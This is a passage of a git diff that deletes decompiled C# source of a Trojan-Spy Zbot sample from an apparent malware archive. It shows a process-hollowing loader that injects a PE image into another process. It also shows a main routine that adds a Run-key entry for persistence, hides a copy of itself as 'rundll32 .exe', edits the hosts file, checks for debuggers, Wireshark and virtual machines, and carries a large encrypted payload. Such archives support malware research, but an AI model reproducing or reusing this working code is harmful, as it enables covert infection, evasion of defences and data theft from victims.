numArray[index] = DAS4DA3[checked ((int) ((long) sectionHeader1.PoinEEter + (long) index))]; - checked { ++index; } - } - buffy.ZGOQ8VM05M zgoQ8Vm05M3 = zgoQ8Vm05M1; - object obj26 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_2 = obj26 != null ? (IntPtr) obj26 : num1; - int AL8ZCRFWNU3 = checked ((int) (num11 + sectionHeader1.AL8ZCRFWNU)); - byte[] DSAE32_2 = numArray; - int da22S3 = checked ((int) sectionHeader1.DA22S3); - int num20 = checked ((int) num15); - ref int local13 = ref num20; - int num21 = zgoQ8Vm05M3(DASE32_2, AL8ZCRFWNU3, DSAE32_2, da22S3, out local13) ? 1 : 0; - num15 = checked ((uint) num20); - checked { ++num18; } - } - object bytes = (object) BitConverter.GetBytes(num11); - buffy.ZGOQ8VM05M zgoQ8Vm05M4 = zgoQ8Vm05M1; - object obj27 = NewLateBinding.LateGet(Instance5, (Type) null, "DAS4QQW", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASE32_3 = obj27 != null ? (IntPtr) obj27 : num1; - int integer3 = Conversions.ToInteger(Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "WDA", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8)); - byte[] DSAE32_3 = (byte[]) bytes; - int num22 = checked ((int) num15); - ref int local14 = ref num22; - int num23 = zgoQ8Vm05M4(DASE32_3, integer3, DSAE32_3, 4, out local14) ? 1 : 0; - num12 = checked ((uint) num22); - NewLateBinding.LateSet(Instance6, (Type) null, "AS4", new object[1] - { - (object) checked (num11 + ntHeaders3.OOOU.DDDDDDDDAAA) - }, (string[]) null, (Type[]) null); - buffy.K7B3INYH01 k7B3InyH01_2 = k7B3InyH01_1; - object obj28 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr ASDASCASDASD = obj28 != null ? (IntPtr) obj28 : num1; - object obj29 = Instance6; - context2 = obj29 != null ? (buffy.Context) obj29 : context1; - ref buffy.Context local15 = ref context2; - int num24 = k7B3InyH01_2(ASDASCASDASD, ref local15) ? 1 : 0; - object obj30 = (object) context2; - buffy.WS2XVBNVO9 ws2XvbnvO9_2 = ws2XvbnvO9_1; - object obj31 = NewLateBinding.LateGet(Instance5, (Type) null, "RFSER", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr DASEAS = obj31 != null ? (IntPtr) obj31 : num1; - int num25 = (int) ws2XvbnvO9_2(DASEAS); - } - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string tr6); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetProcAddress(IntPtr gdr54, [MarshalAs(UnmanagedType.VBByRefStr)] ref string gfsd54); - - [DllImport("rpcns4.dll", EntryPoint = "RpcNsProfileEltAddA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RpcNsProfileEltAdd( - long ProfileNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string ProfileName, - ref IntPtr IfId, - long MemberNameSyntax, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string MemberName, - long Priority, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string Annotation); - - [DllImport("wldap32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ldap_close_extended_op(ref IntPtr ld, long MessageNumber); - - [DllImport("tapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long lineSetAppSpecific(long hCall, long dwAppSpecific); - - [DllImport("rtm.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MgmGetNextMfeStats( - ref IntPtr pimmStart, - ref long pdwBufferSize, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string pbBuffer, - ref long pdwNumEntries); - - [DllImport("mprapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MprAdminDeviceEnum( - ref IntPtr hMprServer, - long dwLevel, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lplpbBuffer, - ref long lpdwTotalEntries); - - [DllImport("MSI.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long MsiDatabaseImport( - ref IntPtr hDatabase, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFolderPath, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string szFileName); - - [DllImport("rpcrt4.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NdrMesSimpleTypeAlignSize(long handle_t); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetMessageNameDel([MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, [MarshalAs(UnmanagedType.VBByRefStr)] ref string msgname); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetReplExportDirSetInfo( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string servername, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string dirname, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string buf, - ref long parm_err); - - [DllImport("NETAPI32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long NetUseGetInfo( - ref IntPtr UncServerName, - ref IntPtr UseName, - long level, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string bufptr); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long QueueUserWorkItem(long lFunction, ref long Context, long Flags); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleInputA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsoleInput( - long hConsoleInput, - ref IntPtr lpBuffer, - long nLength, - ref long lpNumberOfEventsRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ShowWindowAsync(long hWnd, long nCmdShow); - - [DllImport("mgmtapi.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SnmpMgrCtl( - ref IntPtr session, - long dwCtlCode, - ref long lpvInBuffer, - long cbInBuffer, - ref long lpvOUTBuffer, - long cbOUTBuffer, - ref long lpcbBytesReturned); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long AddAuditAccessAceEx( - IntPtr pAcl, - long dwAceRevision, - long AceFlags, - long dwAccessMask, - ref IntPtr pSid, - long bAuditSuccess, - long bAuditFailure); - - [DllImport("ODBCCP32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLInstallerError( - int iError, - ref long pfErrorCode, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszErrorMsg, - int cbErrorMsgMax, - ref int pcbErrorMsg); - - [DllImport("msorcl32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SQLSetCursorName(long hstmt, [MarshalAs(UnmanagedType.VBByRefStr)] ref string szCursor, int cbCursor); - - [DllImport("rasapi32.dll", EntryPoint = "RasSetCredentialsA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RasSetCredentials( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpcstr, - ref IntPtr TLPRASCREDENTIALSA, - long @bool); - - [DllImport("kernel32.dll", EntryPoint = "ReadConsoleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadConsole( - long hConsoleInput, - ref long lpBuffer, - long nNumberOfCharsToRead, - ref long lpNumberOfCharsRead, - ref long lpReserved); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadEncryptedFileRaw( - ref IntPtr pfExportCallback, - ref long pvCallbackContext, - ref long pvContext); - - [DllImport("winspool.drv", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReadPrinter( - long hPrinter, - ref long pBuf, - long cdBuf, - ref long pNoBytesRead); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long RegisterHotKey(long hwnd, long id, long fsModifiers, long vk); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long ReleaseSemaphore( - long hSemaphore, - long lReleaseCount, - ref long lpPreviousCount); - - [DllImport("advapi32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetSiteNameFromSid(ref long pSid, [MarshalAs(UnmanagedType.VBByRefStr)] ref string pwsSite); - - [DllImport("kernel32.dll", EntryPoint = "GetStringTypeExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetStringTypeEx( - long Locale, - long dwInfoType, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpSrcStr, - long cchSrc, - ref int lpCharType); - - [DllImport("kernel32.dll", EntryPoint = "GetVolumePathNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long GetVolumePathName( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszFileName, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpszVolumePathName, - long cchBufferLength); - - [DllImport("user32.dll", EntryPoint = "SetWindowLongA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long SetWindowLong(long hwnd, long nIndex, long dwNewLong); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern long TlsSetValue(long dwTlsIndex, ref long lpTlsValue); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr ToAscii( - long uVirtKey, - long uScanCode, - ref byte lpbKeyState, - ref long lpwTransKey, - long fuState); - - private static T TXXY5U8D2U(string ASFASE3, string FASGAS543W) => (T) Marshal.GetDelegateForFunctionPointer(buffy.GetProcAddress(buffy.LoadLibraryA(ref ASFASE3), ref FASGAS543W), typeof (T)); - - public struct Context - { - public uint II69TOHMUR; - public uint d2; - public uint das; - public uint d9; - public uint ad; - public uint dsa; - public uint ds; - public buffy.Save Save; - public uint dh; - public uint sad; - public uint da; - public uint MD; - public uint RD; - public uint mSI; - public uint WDA; - public uint AD3; - public uint D21; - public uint AS4; - public uint K32; - public uint F2W; - public uint HHJ; - public uint ADF5; - public uint GSSA; - public uint DSAAA; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - public byte[] er6rgdr65; - } - - public struct Save - { - public uint KD7JX2MXT; - public uint JCNS3ZPSXO; - public uint DAS3; - public uint DAS23; - public uint ADSA; - public uint DAF35; - public uint FA32D; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] - public byte[] FSDRF43; - public uint FA32QA; - } - - public struct Misc - { - public uint SDUHRL; - public uint GSIJ; - } - - public struct Section_Header - { - public byte FSDPOU4PO3; - public buffy.Misc Mi2sc; - public uint AL8ZCRFWNU; - public uint DA22S3; - public uint PoinEEter; - public uint E2Q4RS; - public uint FS523QF; - public uint FSB43FSD4; - public uint QBFAS4E; - public uint AS32QFZS; - } - - public struct Process_Information - { - public IntPtr DAS4QQW; - public IntPtr RFSER; - public int TGJWE; - public int SDFFFFFFFFFF; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct Startup_Information - { - public int CSZE; - public string FSDR4G; - public string AAAAAAAAAA; - public string AADDDDDDD; - public int ADA; - public int C; - public int AEDS; - public int DASDDDD; - public int XASE4; - public int DAS3EDFZ; - public int DVA3ES; - public int CCCCQ; - public short FDSRS; - public short VYE5X; - public int KHJKIHJK; - public int KHJKHJK; - public int KHJKHJ; - public int KHJKJHK; - } - - public struct Security_Flags - { - public int GFSETWE; - public IntPtr EWEWWW; - public int DASDAS; - } - - public struct DOS_Header - { - public ushort DASDASFASF; - public ushort QWEQWE; - public ushort EQWEQWEQWE; - public ushort HFGHFGHFGH; - public ushort HFGHFGHFG; - public ushort DASD444444; - public ushort DASFASE33; - public ushort DASKGHJ; - public ushort DASVZDF; - public ushort VXCVXC; - public ushort VXCVXCV; - public ushort EWECS; - public ushort EWADC; - public ushort UADA3; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] ReservWWWWWWWWWWWWWWWedA; - public ushort DAS4E; - public ushort UJJ; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] DDDDDDDDD; - public int DASE3ASDAS; - } - - public struct NT_Headers - { - public uint SSSSSSSSSSSQ; - public buffy.File_Header DSEEEEE; - public buffy.Optional_Headers OOOU; - } - - public struct File_Header - { - public ushort ITTTTTTTT; - public ushort DAAAAAAAA3; - public uint HRFTYTYTR; - public uint GJGFSFS; - public uint FSVGY; - public ushort FSFV; - public ushort A34FFC; - } - - public struct Optional_Headers - { - public ushort WWWWWWWWW; - public byte MaAAAAAAAAAAAjor; - public byte MiSSSSSSSSSSSnor; - public uint SSSSSSSSSSSSS; - public uint FFFFFFFFFFF; - public uint XXXXXXXX; - public uint DDDDDDDDAAA; - public uint FSSSSSSS; - public uint RSFS43; - public uint DFAZDASD; - public uint SectionA; - public uint FileA; - public ushort GDFTDFFFF; - public ushort HGDFHD564; - public ushort GD5ERGD; - public ushort FSD5YHD; - public ushort ASDASG; - public ushort AS4ASAS; - public uint CCC; - public uint DASRDASRASR; - public uint WQDASDASD; - public uint Assssssss; - public ushort fsd4s; - public ushort fjio; - public uint dasrlajstpoi; - public uint dasdraskyjhuasp; - public uint SHRedas4wa9uqserve; - public uint fsdtsysyt; - public uint eawdasdas3; - public uint Cocccunt; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public buffy.Data_Directory[] GSDGSDT4; - } - - public struct Data_Directory - { - public uint ewq34q234; - public uint das34aw33; - } - - public delegate bool GN04L0ER8I( - string ASFASE3, - string DASDAS3E2, - ref buffy.Security_Flags DASCASE, - ref buffy.Security_Flags CASE222, - bool DAS432E, - uint AEDFKJK32, - IntPtr DSA43R3W, - string ase32ew, - [In] ref buffy.Startup_Information das43fsa, - out buffy.Process_Information das3); - - public delegate bool ZGOQ8VM05M( - IntPtr DASE32, - int AL8ZCRFWNU, - byte[] DSAE32, - int DASEADAS, - out int ASD43FA); - - public delegate int Q7QRRP639W( - IntPtr FASFDASDAS, - int AL8ZCRFWNU, - ref int CAS32, - int ASDASC, - ref int CASTWE); - - public delegate IntPtr W6CTR6GLCC( - IntPtr DASE43E, - int AL8ZCRFWNU, - uint DASCAS3, - uint DAS3, - uint DAS32); - - public delegate long EFVI2YI66B(IntPtr DASE3, int AL8ZCRFWNU); - - public delegate uint WS2XVBNVO9(IntPtr DASEAS); - - public delegate bool R84OY4NT36(IntPtr DASDASC, ref buffy.Context DSACSA43); - - public delegate bool K7B3INYH01(IntPtr ASDASCASDASD, ref buffy.Context ASCA434); -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/pizde.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/pizde.cs deleted file mode 100644 index c4602a15..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f/pizde.cs +++ /dev/null @@ -1,645 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: pizde -// Assembly: nojunk, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: EFC0AC71-7977-4ED7-A4F1-E882872827BD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.Zbot.btc-2589eee09ef4167ec091d3acf73e6bff5b6dd198a4d6e0ba88e8476c8419053f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using My; -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class pizde -{ - private static string iohouh7877 = "GDGDF54545"; - private static string HostEditing = "%28%"; - private static string antis = "%29%"; - private static string stuff = "%something%"; - private static object Devices; - private static string Grafikadapter; - private static string RegionA = "SELECT * FROM Win32_VideoController"; - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string processName = Process.GetCurrentProcess().ProcessName; -label_2: - num3 = 3; - Process.GetProcessesByName(processName); -label_3: - num3 = 4; - if (Operators.CompareString(pizde.iohouh7877, "hhhhhhhhhheeeee", false) != 0) - goto label_11; -label_4: - num3 = 5; - object tempPath1 = (object) Path.GetTempPath(); -label_5: - num3 = 6; - object executablePath = (object) Application.ExecutablePath; -label_6: - num3 = 7; - object fullPath = (object) Path.GetFullPath(Conversions.ToString(executablePath)); -label_7: - num3 = 8; - FileAttributes fileAttributes1 = FileAttributes.Hidden | FileAttributes.System; -label_8: - num3 = 9; - MyProject.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("rundll32", Operators.ConcatenateObject(tempPath1, (object) "rundll32 .exe")); -label_9: - num3 = 10; - FileSystem.FileCopy(Conversions.ToString(fullPath), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe"))); -label_10: - num3 = 11; - File.SetAttributes(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(tempPath1, (object) "\\"), (object) "rundll32 .exe")), fileAttributes1); -label_11: - num3 = 13; - if (Operators.CompareString(pizde.HostEditing, "hhhhhhhhhheeeee", false) != 0) - goto label_13; -label_12: - num3 = 14; - pizde.HostEdit(); - goto label_14; -label_13: - num3 = 16; -label_14: - num3 = 18; - pizde.AntiMalwarebytes(); -label_15: - num3 = 19; - pizde.AntiOllydbg(); -label_16: - num3 = 20; - pizde.AntiWireshark(); -label_17: - num3 = 21; - pizde.AntiVirtualBox(); -label_18: - num3 = 22; - pizde.AntiVirtualPC(); -label_19: - num3 = 23; - pizde.AntiVmWare(); -label_20: - num3 = 24; - pizde.IsDebuggerPresent(); -label_21: - num3 = 25; - string s1 = "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